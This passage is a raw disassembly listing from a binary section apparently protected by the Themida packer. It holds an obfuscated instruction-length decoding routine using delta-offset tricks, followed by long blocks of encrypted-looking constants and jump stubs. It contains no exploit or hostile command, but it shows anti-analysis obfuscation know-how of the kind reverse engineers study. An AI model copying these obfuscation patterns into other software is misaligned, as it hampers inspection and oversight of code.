[ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_593FEA: ; CODE XREF: sub_593FB1+28j push ebx push esi push edi loc_593FED: ; CODE XREF: sub_593FB1+91j ; sub_593FB1+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_594000: ; CODE XREF: sub_593FB1+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6107F65h lea ebp, [ebp+6107DDBh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59402D inc cl cmp cl, 0Bh jb loc_594000 loc_59402D: ; CODE XREF: sub_593FB1+6Bj cmp cl, 0Bh jz loc_59408A cmp al, 66h jnz loc_59406B cmp [ebp+var_5], 0 jnz loc_593FED cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_594063 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_593FED ; --------------------------------------------------------------------------- loc_594063: ; CODE XREF: sub_593FB1+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_59406B: ; CODE XREF: sub_593FB1+87j cmp al, 67h jnz loc_593FED cmp [ebp+var_6], 0 jnz loc_593FED xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_593FED ; --------------------------------------------------------------------------- loc_59408A: ; CODE XREF: sub_593FB1+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5940B6 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5940BB ; --------------------------------------------------------------------------- loc_5940B6: ; CODE XREF: sub_593FB1+E4j movzx edi, al shr edi, 1 loc_5940BB: ; CODE XREF: sub_593FB1+100j push ebp call $+5 pop ebp sub ebp, 610801Dh lea ebp, [ebp+6107CDBh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_59423D mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_594181 dec ecx jz loc_594164 dec ecx jnz loc_5941D4 cmp [ebp+var_2], 0 jnz loc_5941D0 cmp [ebp+var_5], 0 jz loc_594143 mov byte ptr [ebp+arg_0+3], 2 loc_594143: ; CODE XREF: sub_593FB1+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 61080A9h mov [ebp+arg_6107DF3], 1 pop ebp jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_594164: ; CODE XREF: sub_593FB1+16Dj cmp [ebp+var_2], 0 jnz loc_5941AE cmp [ebp+var_5], 0 jz loc_5941AE mov byte ptr [ebp+arg_0+3], 2 jmp loc_5941AE ; --------------------------------------------------------------------------- loc_594181: ; CODE XREF: sub_593FB1+166j cmp [ebp+var_2], 0 jnz loc_5941C7 cmp [ebp+var_5], 0 jz loc_5941B6 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5941AE mov byte ptr [ebp+arg_0+3], cl loc_5941AE: ; CODE XREF: sub_593FB1+1B7j ; sub_593FB1+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_5941B6: ; CODE XREF: sub_593FB1+1DEj cmp dl, 5 jnz loc_5941D4 mov byte ptr [ebp+arg_0+3], dl jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_5941C7: ; CODE XREF: sub_593FB1+1D4j cmp dl, 6 jnz loc_5941D4 loc_5941D0: ; CODE XREF: sub_593FB1+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5941D4: ; CODE XREF: sub_593FB1+174j ; sub_593FB1+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_594202 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5941E4: ; CODE XREF: sub_593FB1+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5941E4 mov esi, edx loc_594202: ; CODE XREF: sub_593FB1+226j and al, 0FEh cmp al, 0F6h jnz loc_594237 cmp edi, 7Fh ja loc_594237 test bl, 38h jnz loc_594237 cmp [ebp+var_7], 0 jz loc_594231 movzx eax, [ebp+var_4] jmp loc_594234 ; --------------------------------------------------------------------------- loc_594231: ; CODE XREF: sub_593FB1+271j push 1 pop eax loc_594234: ; CODE XREF: sub_593FB1+27Bj mov [ebp+var_1], al loc_594237: ; CODE XREF: sub_593FB1+255j ; sub_593FB1+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_59423D: ; CODE XREF: sub_593FB1+136j mov al, bl and eax, 7 sub eax, 4 jz loc_594268 dec eax dec eax jz loc_59425E and bl, 7 add [ebp+var_1], bl jmp loc_594270 ; --------------------------------------------------------------------------- loc_59425E: ; CODE XREF: sub_593FB1+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_59426D ; --------------------------------------------------------------------------- loc_594268: ; CODE XREF: sub_593FB1+294j mov al, [ebp+var_3] add al, 4 loc_59426D: ; CODE XREF: sub_593FB1+2B2j add [ebp+var_1], al loc_594270: ; CODE XREF: sub_593FB1+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_594298 movzx ecx, [ebp+var_1] inc ecx loc_594283: ; CODE XREF: sub_593FB1+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_594283 loc_594298: ; CODE XREF: sub_593FB1+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_593FB1 endp ; --------------------------------------------------------------------------- mov edx, eax jmp short loc_5942D0 ; --------------------------------------------------------------------------- align 4 dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h dd 22E4A8D4h ; --------------------------------------------------------------------------- loc_5942D0: ; CODE XREF: Themida_:005942A1j jmp loc_594DC5 ; --------------------------------------------------------------------------- push 610833Bh jmp loc_543FDB ; --------------------------------------------------------------------------- push 6108472h jmp loc_543FDB ; --------------------------------------------------------------------------- push 6108573h jmp loc_543FDB ; --------------------------------------------------------------------------- push 610860Ch jmp loc_543FDB ; --------------------------------------------------------------------------- push 610870Eh jmp loc_543FDB ; --------------------------------------------------------------------------- push 61087F6h jmp loc_543FDB ; --------------------------------------------------------------------------- push 61088E1h jmp loc_543FDB ; --------------------------------------------------------------------------- push 6108A90h jmp loc_543FDB ; --------------------------------------------------------------------------- push 6108BA3h jmp loc_543FDB ; --------------------------------------------------------------------------- db 55h dd 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh, 3EC774Eh, 0A61DC6F9h dd 79445CBFh, 0C9F40DFAh, 9CABFD2Ah, 605DA647h, 4AE20EF3h dd 0C5849F3Eh, 0BD5AC2B1h, 1DCFBB33h, 7A40C394h, 97ACF0CCh dd 9BC12145h, 340EBD84h, 97A2F726h, 7B56A34Ch, 4C584597h dd 0B5C7D771h, 77DFE358h, 6B2B1CFDh, 7B03EF9Bh, 261A603Ah dd 8DB0C934h, 412BC539h, 71988837h, 2DEFB24h, 0C97310E4h dd 5DFC446Bh, 3415B7BFh, 9D4FA340h, 0C9F22470h, 9CA0E35Eh dd 8B6583E7h, 273C091Ah, 3C80BDC6h, 519BA0FCh, 416BC0DDh dd 222D154Eh, 927E2693h, 460BCC46h, 0E5000009h, 4CB9BA91h dd 3AEB0839h, 0E401D2EFh, 53BCA79Eh, 56ED7649h, 0A994EC0Fh dd 79445D4Ah, 0CCFB0DFAh, 90ADF617h, 3AB2BE43h, 0C5849E4Eh dd 0DE8A72C1h, 0A514F8D5h, 95A8F050h, 0A8F4A2B1h, 58254993h dd 80BD9F19h, 17310C15h, 0F67EC238h, 3A60E696h, 0E70F9943h dd 3A60E6E3h, 58CC1E64h, 3A60E62Ch, 0F7B15FA3h, 7EB02F6h dd 41C62C35h, 2E000000h, 0E4760D6Fh, 20A4C85Ah, 0A7C3941Dh dd 0A29FEA53h, 541F084h, 3143BD9Fh, 60CBC9BDh, 0CA645E3Ah dd 6294E04Dh, 0E2C2B70h, 2D016579h, 0CDF98959h, 742C3A60h dd 0C16A8379h, 0D1472C35h, 0A1000000h, 14F8D5DEh, 0FA605FA5h dd 7BCFF20Bh, 0DB61E907h, 1EE2DF2Ah, 7649533Ah, 0ADA04E82h dd 40FF6D58h, 0DCDF2105h, 52A22B2Ch, 9445CD7Bh, 39ADB683h dd 0C3941A74h, 5C87B2C7h, 816B66B3h, 43370E14h, 5BBF869Ah dd 3745A5ADh, 0A3B63E2Ch, 844260FEh, 0A3F9A5BEh, 45C9F40Dh dd 3753DB01h, 0B83A60CEh, 68FC6E42h, 446D5F02h, 8FFB73FDh dd 30733Dh, 0E914C63Ah, 56B7AC93h, 0C3F47342h, 7A8C6A72h dd 80F3788h, 5AAC0000h, 17F063h, 0B6C52231h, 57AF589Bh dd 61A8B68h, 569D243Fh, 81526DB7h, 31221F64h, 6EF5C0D4h dd 9A597481h, 1773FB71h, 98C58499h, 0DADEB329h, 7A8F78FBh dd 1C3E9D4Fh, 997BB056h, 0D6FC881Ch, 0F73C394h, 9A7AFD2Bh dd 26E21EBDh, 81D18AFAh, 3E455767h, 9F458F2Ch, 2CEBE631h dd 927B6E0Ch, 0D799B78Eh, 9FC6FE5Fh, 870B4FBDh, 6184DFAFh dd 1FAE0A3Ah, 368A44E5h, 0BF6D2Ch, 0DE8B0000h, 0A514F8D5h dd 549C605Fh, 0C3941B09h, 896A67B0h, 4A3E0B1Ch, 0A50F1580h dd 0BF936752h, 6548F75Bh, 5B42F11h, 4D51FFD3h, 0AEC6142Fh dd 426028ABh, 0E1BDA69Ch, 0A30D159Bh, 2C00645Bh, 89B8CF3Eh dd 71603B4Eh, 40EEBC77h, 194F06AEh, 21C0446Dh, 32383D9Ch dd 9F4DA128h, 7EDD2A6Eh, 5B2F197Dh, 0E7A8AF9h, 81307249h dd 65E9D42Ch, 0AE9CD21h, 0AFB8879Dh, 8C6B3F32h, 0E0EC141h dd 0AD000007h, 14F16259h, 0C2233001h, 0AC599AB7h, 1BF46F56h dd 9E253E01h, 516CB457h, 211C6582h, 0F4C3D532h, 5875BE6Fh dd 72FA769Bh, 0C5849816h, 0DEB22A99h, 8F78FBDAh, 709D4F7Ah dd 79FA1425h, 0F8D5DE9Bh, 46798372h, 0ACF9A0A8h, 0BD31FE04h dd 0C3941DC9h, 2C00645Eh, 1DDFAF37h, 8DEFC394h, 96C064F6h dd 19BD849Bh, 7CA93B21h, 3333C329h, 0E98F7A91h, 23CD01F5h dd 77ECD92Ah, 0CCB08D96h, 4E798F7Eh, 0FB801CA0h, 8E0CFD71h dd 0B9814470h, 6D0125AEh, 0F95EB48Ch, 675h, 6A89C0D2h dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h, 849BBDC9h dd 0DD4332C5h, 1A6DD5DEh, 3675B2Fh, 0FE0EADBFh, 0AC28B662h dd 63790DA1h, 0F4CEC394h, 82977690h, 51AC3B7h, 0EA4AAAE3h dd 9AFEFB97h, 0C4802436h, 4BC39413h, 477E8677h, 81C569F3h dd 6C39413h, 283013Ch, 1FBC8E08h, 745CF888h, 201D66CDh dd 0EA04785Ch, 0C3D43DC8h, 7A936DF6h, 5732416Dh, 0Eh, 0F2CFD8C5h dd 261CCA0Eh, 195C8h, 27A75000h, 17C3941Dh, 0E26CFE85h dd 66EAE533h, 7C435B22h, 0CA9AB488h, 0BD849BB1h, 0FB2A300Ah dd 85C165AEh, 0A3A7B63h, 63DAAEC6h, 55AD3A7Bh, 29C61D71h dd 0E97BE1DCh, 0E37CC972h, 0E9794F22h, 3A7BAB9Dh, 9DEF2812h dd 7B971761h, 0C82028C6h, 29BDAFB4h, 447085D8h, 0FBE26D55h dd 6E8C6D08h, 57323E4h, 0C6D00000h, 6CBB548Fh, 1A69865Dh dd 0CBD33C27h, 7ABE6FF4h, 3239985Bh, 65FEC1DBh, 954E7388h dd 0C2112C78h, 7EE5D025h, 0B3D75F8Dh, 34C5849Ah, 0D5DEDF45h dd 0D7C614F8h, 0C90DF1C0h, 7DE52E1Fh, 54381C2Bh, 0F41DA8EAh dd 174496A3h, 0DC29FF3Dh, 1E391DE1h, 86A07669h, 7FFA13EDh dd 7D73241h, 31000000h, 0C9C8h, 0D6F5000h, 0C85AE476h dd 941D20A4h, 0AB41E7C3h, 0F2329B4Bh, 1B44E605h, 5E7B3F48h dd 2838CC7Ah, 4ABD8408h, 0F482D315h, 64BF1470h, 98A79B3Ah dd 0F7657CF6h, 64D00B7Fh, 88A69C3Ah, 0E5DC228Bh, 59AA5B81h dd 0D16F76Ch, 502C4C30h, 0FE8D21CBh, 4F447456h, 0E334E10Bh dd 97E00DD6h, 0C6D6D6BAh, 2A07AFBDh, 564E7F51h, 5824A0C4h dd 57AB2E41h, 0A0F55AB9h, 49B6B195h, 60927C4Eh, 48B2DE2h dd 0DE280000h, 84937CE7h, 3241AEB5h, 0D32BC41Fh, 829677ECh dd 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h, 0EA094450h, 6DDE83Dh dd 8BFF77F5h, 1CC5849Ah, 5FC837ADh, 24000001h, 1D76129Ah dd 81F9C394h, 1DB7D35Bh, 0C238C394h, 0D6F3E24h, 0AB5AE476h dd 31C5635Eh, 0BD849B31h, 0E716C43Eh, 48B5A792h, 5ABE023Fh dd 0C9DACBACh, 0C92D1069h, 0FE06F745h, 11754C52h, 0FFBF69ADh dd 0CA54869Dh, 7B6026A2h, 605FA73Ah, 0DDFB89Ch, 7B60ED99h dd 2418623Ah, 0BFCC600Ah, 30446BE6h, 197D4C5Fh, 415441D3h dd 2277D670h, 0D623CC17h, 4FE771FBh, 304AE63Bh, 45946D8Ch dd 45253628h, 2B43C761h, 0CBD13C51h, 5C087CF4h, 5DF304Ah dd 9ECCDFEBh, 6246BC1Bh, 0F1F16EF8h, 0DA96CB8Ah, 0AE8353FDh dd 0BF4E414Dh, 413D8C5Bh, 9E74927Eh, 3A039h, 0DCEB3F00h dd 0A29FE607h, 744554B1h, 0D9F83EEFh, 0A897ED1Ah, 6E50C4Bh dd 0F710C3F2h, 0A74093AEh, 10FD6651h, 0E029CA07h, 95E0E408h dd 9867C584h, 0F8D5DE20h, 6550A514h, 85C165F7h, 0AC3941Dh dd 44321630h, 495A4342h, 0B865E77Ch, 48B25C6Dh, 3240F0A1h dd 5188h, 33BD5400h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h dd 9EE17621h, 5983F7BDh, 0FE6C5DACh, 0AE8CF86Ch, 0AA033A60h dd 0A79B6F56h, 5CC2A543h, 3A60AE2Dh, 0F56E5BACh, 145E97Bh dd 863A60AEh, 8EB5CDBCh, 0A39EED60h, 9AE00DDFh, 55F3D7BBh dd 2F8EEh, 0D6DE7600h, 51A20BFFh, 0DF3C05BFh, 0A88C5D7Dh dd 7C495A4Bh, 0F9D42188h, 5B728273h, 0F27593F7h, 9943D8A4h dd 609A9E0Fh, 13D7F9FDh, 9A6E42CEh, 71FC88A6h, 0ABBD9F9Ah dd 0A91D247Ah, 665CBB55h, 63325292h, 0BDE73A61h, 8B31D830h dd 38182C35h, 0E4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh dd 0E64E5B4Ah, 0FED2A69Bh, 34D2369Ah, 60CB20A0h, 7A59A13Ah dd 0E6D12796h, 0EFFE3012h, 0AB3A7E93h, 35C6B851h, 0B7912Ch dd 0DE7F0000h, 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 9FAAFF67h dd 69F3D72Bh, 1D3357DFh, 0DBB4C394h, 719FF3CEh, 1B5D60F6h dd 8B9CC394h, 3F48A5BEh, 1E7EBE02h, 0B65FD705h, 74260D6h dd 26762033h, 0A6A7CF1Dh, 27446D62h, 77FF09D3h, 30732813h dd 0EE80AE94h, 10DAE53Fh, 281A6E86h, 0ED3073h, 1BE2C6FBh dd 0B4F330Eh, 97ED1ADDh, 8BCF2973h, 391D67F6h, 69B0CD2Eh dd 41060C8Ch dd 1F1h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h dd 0D913F87Bh, 84973155h, 51C7B6C5h, 78FBDADEh, 944F7A8Fh dd 800D6F6Ch, 941D186Ch, 355BAFC3h, 23ACBC51h, 0E00A6E54h dd 4F545D7Bh, 9D949620h, 193BC4B0h, 34B65000h, 0F09418AAh dd 79C39438h, 5EA4132Eh, 207524B0h, 6697BD9Fh, 64582C11h dd 81754DCAh, 60E121A1h, 21ACF43Ah, 34C1249Bh, 53210C03h dd 80AE9BEAh, 35016F9Eh, 0CC5A2Ch, 0BDA20000h, 1DCFBB33h dd 464EC394h, 0F847BB0Fh, 1D94F074h, 271BC394h, 0DF2825C3h dd 55AF1EE2h, 34EE66Ah, 0BAC3941Bh, 66875C69h, 5C5C201Dh dd 0BD313B40h, 4260D654h, 5402D129h, 0E2ACE848h, 40D7A618h dd 51B51934h, 4C7D8C7Dh, 0BAA084F8h, 6DD73032h, 54A75644h dd 93BD9165h, 129C4EB4h, 72B4EE9Ah, 0EF196130h, 2088907Dh dd 5182E6DBh, 96516CB4h, 8C6AEA4Fh, 0DEEFA0A2h, 7D000000h dd 24C11229h, 9273E0D1h, 7CA94A87h, 2BC41F26h, 0CE75EED1h dd 13C44A7h, 0D1EC35D2h, 0A493E502h, 8454EBFh, 0A2CA26EBh dd 0C5849626h, 0DE62DAA9h, 8F78FBDAh, 6F3B947Ah, 38D2AC79h dd 718E428Fh, 22C80099h, 9459FE8Ah, 150971C3h, 0D5DE36CEh dd 50A514F8h, 0A248F765h, 4ED2EABDh, 0D8540F39h, 19EDD82Dh dd 0E9B30B25h, 0C648852h, 0C3BD8478h, 5A2E1B6Ah, 7C681C90h dd 9BFF3A64h, 0EFF43A7h, 55AC1305h, 9C58125h, 704A3A64h dd 628713C7h, 0EF38D50Eh, 0B1053447h, 4795795Dh, 0A3D5B135h dd 605A3A64h, 44043EC6h, 0AA8059AFh, 94A1F21Bh, 78555E4Fh dd 0E6DD2594h, 20ADE712h, 29146D98h, 46C761A5h, 0B782953Dh dd 41AB8FC3h, 0D4724F54h, 94A1F213h, 36F20h, 84890000h dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4768CF7Bh dd 89000032h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h dd 2C895C24h, 22916824h, 4890000h, 33B95124h, 8126C401h dd 0B37EA8E9h, 0CE895620h, 595EF589h, 2F4768h, 24248900h dd 4240481h, 58000000h, 4EC81h, 2C890000h, 8408F24h, 582434FFh dd 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4 dd 5C241C87h, 0FAF21AE9h, 74651DFFh ; --------------------------------------------------------------------------- cld loc_594DC5: ; CODE XREF: Themida_:loc_5942D0j mov eax, 6108CA6h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 4A27h dd 0BFF14522h, 0D8B47004h, 0D50069B7h, 8FB63557h, 37AC21DDh dd 1FA2773Ch, 0C7183048h, 7EFF3ED3h, 0FE28671Fh, 0A9187219h dd 0E465466Dh, 4901067Dh, 0B9252964h, 0F8747CCh, 533D3C33h dd 0F6261FE4h, 0F41F44D6h, 0A3C2584h, 6D0033C6h, 576E031Ch dd 83402B34h, 718834F5h, 87560C6Fh, 0BAC11AE0h, 36EA5094h dd 0B80F6CB1h, 0F0F66A3Fh, 53082B52h, 8D8D5AC2h, 6108E4Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A6C35646h dd 394AB55Ah, 174D8D89h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8BB9DBC3h, 0B2E7D95h dd 1985C706h, 60060B01h, 6A000073h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C5DAC351h dd 2858F460h, 5467DABBh, 100985C7h, 60Bh, 7E90000h, 0D4000000h dd 4A47EBAEh, 0B5FF85D3h, 60B0105h, 23F5BD89h, 95FF060Bh dd 60B0AC5h, 6AC7BF0Fh, 0DD95FF00h, 8B060B32h, 4F2CEBC0h dd 5646B110h, 0AC51FDC7h, 0FB749A87h, 1C50935Fh, 9477204Fh dd 4C7DE24Ah, 345CBF14h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh dd 0E95ADEC6h, 15Ch, 0F1361FD3h, 972E4BB5h, 0B3C588Bh dd 52375626h, 0B345676h, 523F58D4h ; --------------------------------------------------------------------------- cmp al, 71h loc_594F42: ; DATA XREF: ___:off_438108o adc al, 3Bh pop edi and al, 46h push edx retf ; --------------------------------------------------------------------------- db 25h, 66h, 0C5h dd 61D2790Dh, 5201B6A7h, 5270149Ah, 52701519h, 52701498h dd 52701448h, 52701426h, 52701413h, 527014A6h, 527014C4h dd 5270146Ah, 52701431h, 26036DCBh, 72707929h, 311F6676h dd 0F036776h, 52701489h, 527014C4h, 52701462h, 52701431h dd 52701498h, 5270144Ch, 52701426h, 52701413h, 52701489h dd 527014C4h, 52701462h, 52701431h, 52701498h, 5270144Ch dd 52701426h, 52701413h, 52701489h, 527014C4h, 52701462h dd 52701431h, 52701498h, 5270144Ch, 52701426h, 52701413h dd 52701489h, 527014C4h, 52701462h, 52701431h, 52701498h dd 5270144Ch, 52701426h, 52701413h, 52701489h, 527014C4h dd 52701462h, 52701431h, 52701498h, 5270144Ch, 52701426h dd 52701413h, 52701489h, 527014C4h, 52701462h, 52701431h dd 52701498h, 5270144Ch, 52701426h, 52701413h, 52701489h dd 527014C4h, 52701462h, 52701431h, 52701498h, 5270144Ch dd 52701426h, 52701413h, 52701489h, 527014C4h, 52701462h dd 52701431h, 52701498h, 68445C08h, 16DBE9h, 91EB6800h dd 46E90610h, 68FFFBB3h, 61092CDh, 0FBB33CE9h, 93B968FFh dd 32E90610h, 68FFFBB3h, 6109492h, 0FBB328E9h, 965568FFh dd 1EE90610h, 68FFFBB3h, 610978Bh, 0FBB314E9h, 989C68FFh dd 0AE90610h, 68FFFBB3h, 610996Bh, 0FBB300E9h, 9B8468FFh dd 0F6E90610h, 68FFFBB2h, 6109C7Ch, 0FBB2ECE9h, 9D5368FFh dd 0E2E90610h, 68FFFBB2h, 6109DF9h, 0FBB2D8E9h, 9F9B68FFh dd 0CEE90610h, 68FFFBB2h, 610A41Eh, 0FBB2C4E9h, 0A52168FFh dd 0BAE90610h, 0CFFFFBB2h, 886BD4B2h, 43A6116Dh, 2E5522Ch dd 0C41FE8E6h, 705D2AA4h, 3B93EBBFh, 7650A94Ch, 0B20C6E89h dd 0F2CC22C5h, 0A7B0EC05h, 7BADECDAh, 7654B0F9h, 0ADED20EDh dd 3CCB377Bh, 5836B445h, 0FBD329B2h, 0B5CB0C0Ch, 40CF33D9h dd 508E746Ah, 346CFC72h, 385B9B71h, 0D24CFB3Fh, 6E99750Eh dd 8ACE8F9Bh, 9F48A64Fh, 6F92CD12h, 0D8DAB321h, 2B1A32C1h dd 5B1CC04Fh, 20CAA620h, 933E3E8Fh, 0A68686Fh, 3C763B2Ch dd 0BD9D6F93h, 933CE9B6h, 5320E6Fh, 0CE358C7Fh, 51BC0D09h dd 43h, 482E47Fh, 0BD393AE6h, 514F36C1h, 5D1BE073h, 0E501759Dh dd 7D9F43E9h, 0A638729Dh, 79F1625Ch, 744F8A74h, 7CCD6684h dd 166F9234h, 2D96EBDEh, 0FEBC0E18h, 0D7h, 0EAB7A09Eh dd 96F923Eh, 0B49F0631h, 0CCB25836h, 5CB845EEh, 63DF759Dh dd 0FDD911D4h, 97D6114Fh, 2F4A0D3Fh, 2B75FB57h, 739CB074h dd 2B4124D3h, 0C826B953h, 135790CEh, 4A9D8CBBh, 759E1208h dd 58C203C9h, 0E7963ED9h, 675F9D58h, 0A71F5D98h, 1E9FD85h dd 4D603C27h, 0E5554F8Bh, 64CE101Ah, 0D32B2C0Ah, 0C54A9DFBh dd 0D26F930Ch, 9B16E16Eh, 80498539h, 0F7605EB8h, 69855A2Ah dd 7A549649h, 3513719Eh, 32DDB932h, 0F05F37B7h, 5B99F575h dd 0E45980EDh, 26AD6802h, 5F000014h, 18DBA422h, 0D316E1DDh dd 9255229Ch, 548F7856h, 0C0CDBA14h, 8B037B2Fh, 0C6C0393Ch dd 27CFE79h, 423CB2B5h, 0D7007CF5h, 7BADEE4Ah, 0B43D2069h dd 0DDB93D34h, 1D539661h, 7BEFD6A1h, 0B6A19F63h, 4F8A7436h dd 7725C73Bh, 0EC1E78FCh, 0E770030Ch, 816F9233h, 0C304804Bh dd 201C46AAh, 0D8B4A529h, 73D8D37Ch, 34BC0E1Dh, 0B3h, 5836B4C1h dd 92D129B2h, 0E7DF1958h, 2ABDAF0Bh, 759D58A8h, 0A7106E8Ch dd 7650AEA9h, 0F6D02EC9h, 6E06654h, 0A611D34Dh, 0CB1397A0h dd 30ECEA00h, 61710DD6h, 0B2B84F8Ah, 64666375h, 0C0D77175h dd 9BD598AEh, 0F885AE88h, 1F6F91F5h, 0F7681423h, 33EF1D79h dd 1CC2E857h, 0A76FF8D6h, 0BA498425h, 8FEF6846h, 4DAD4837h dd 949FF371h, 1AB0E45Ah, 13443Bh, 8A047900h, 0C7BF3A3Dh dd 7EFD78h, 5E38BCB7h, 98F676F1h, 511DE2Fh, 0DB1EE9E5h dd 985B24A2h, 5C97605Eh, 12D7A01Eh, 0EF2CF162h, 464B7BADh dd 5A34B41Fh, 482FB7Ch, 93E90CFBh, 0B4554C3Bh, 0E57E5836h dd 51FB0482h, 3690E86Bh, 0B6106E09h, 615D9F58h, 9AF470CBh dd 172C8870h, 0EC4CFED8h, 0FA71F463h, 0AF0B83FBh, 0CAC43ABDh dd 42399A7Dh, 1A78569Ch, 426A0D9h, 5C820FD4h, 9A4D759Dh dd 759D5D15h, 5E3CDE22h, 9D5D0895h, 77D32F75h, 531FC8C8h dd 0BA4F8A74h, 0B94640B9h, 895C3B07h, 75FFE441h, 1D5904DAh dd 78EBC5A1h, 51F51BE4h, 0B7C369D1h, 6AEDCB2Fh, 0AA96B412h dd 0DB169B4Ch, 0DD3D71FCh, 10815232h, 0F4BEE5Eh, 0DC12D533h dd 274384E2h, 53B1A0AFh, 0CD7F5790h, 0E907E26Dh, 7D0D57EDh dd 6802E1F0h, 1258ADh, 96F00D00h, 0D3ABCE29h, 6C6A8164h dd 0AA2440A3h, 0E4E21ADDh, 29FD321Bh, 0EF0AF5D1h, 0AC47308Eh dd 60834C4Ah, 2EC38C0Ah, 0F018E54Eh, 723F7BADh, 5836B40Bh dd 3A00E6B2h, 0EBE31BDCh, 4B579941h, 0EF7698F2h, 0B5BE1E29h dd 4F8A9109h, 80632C2Ch, 80FE6C6Ah, 0BDAF2747h, 6A64865Dh dd 2911D5DDh, 1F764CFh, 0E2C04982h, 81E0AC71h, 0C877CB69h dd 506B4E14h, 0F2AF760h, 0F1496982h, 132F5A7Fh, 0F87B59B7h dd 0B9E70581h, 8251E1AEh, 0AE0AF669h, 0CF785695h, 0FF8D614h dd 123896D4h, 0BC9A6086h, 6866855Eh, 66F11EC2h, 4371E419h dd 63E4C23Eh, 23C6B10Dh, 4F5BF1CDh, 78323997h, 0BA29C341h dd 4182E0DEh, 0D7A2AD29h, 3D5F4733h, 3C08CA36h, 0D3F07794h dd 117FDC39h, 0C9260000h, 84E702CDh, 43BABD0Ah, 0FD79FC4Bh dd 0BB333681h, 0D61B74C3h, 632CAAC2h, 0A06F6780h, 0DCAB2345h dd 1CEBE319h, 0F1BEA9D7h, 67BADF0h, 34B4548Bh, 80FB7C5Ah dd 0B34E406h, 0DD0161Ch, 0E07B91EDh, 231F0D89h, 0AF8DEB47h dd 0CD7A5494h, 8A6A363Ah, 26449F4Fh, 0B15E82A8h, 0DF16540Fh dd 0DB0725A1h, 0D669837Fh, 96513E98h, 22007E58h, 92496C31h dd 88B78B6Fh, 0C02ABCC4h, 0B54288E6h, 12EFC683h, 0FA9E6996h dd 0F497F4Bh, 28461933h, 0EB36BCAEh, 73E8F8EBh, 0AA24449Fh dd 0B118DE80h, 705B91F7h, 0B6A19BD1h, 6986F5E9h, 33D9B537h dd 11CD4DCFh, 0C2BC3C37h, 0D847F028h, 0B3A40CD2h, 6986F5EEh dd 7F593505h, 28A6C601h, 388541Fh, 0ADAD4374h, 1876F073h dd 4F010EF2h, 6436DB11h, 0DE322785h, 5E38B631h, 661EA60h dd 83B3044Ah, 42EDB2A5h, 360A637Ch, 0DD134709h, 8F58B6EEh dd 637C4302h, 941E2911h, 0A58EE852h, 3D695099h, 70F35CBCh dd 680FBFAh, 9E2F80AAh, 0B45D7141h, 2FB05A34h, 4A0698CCh dd 6044D1D3h, 0B016684h, 5BD1C6C0h, 449BD170h, 51ABA826h dd 0CB2E9975h, 6733D9B5h, 8A5DBB7Fh, 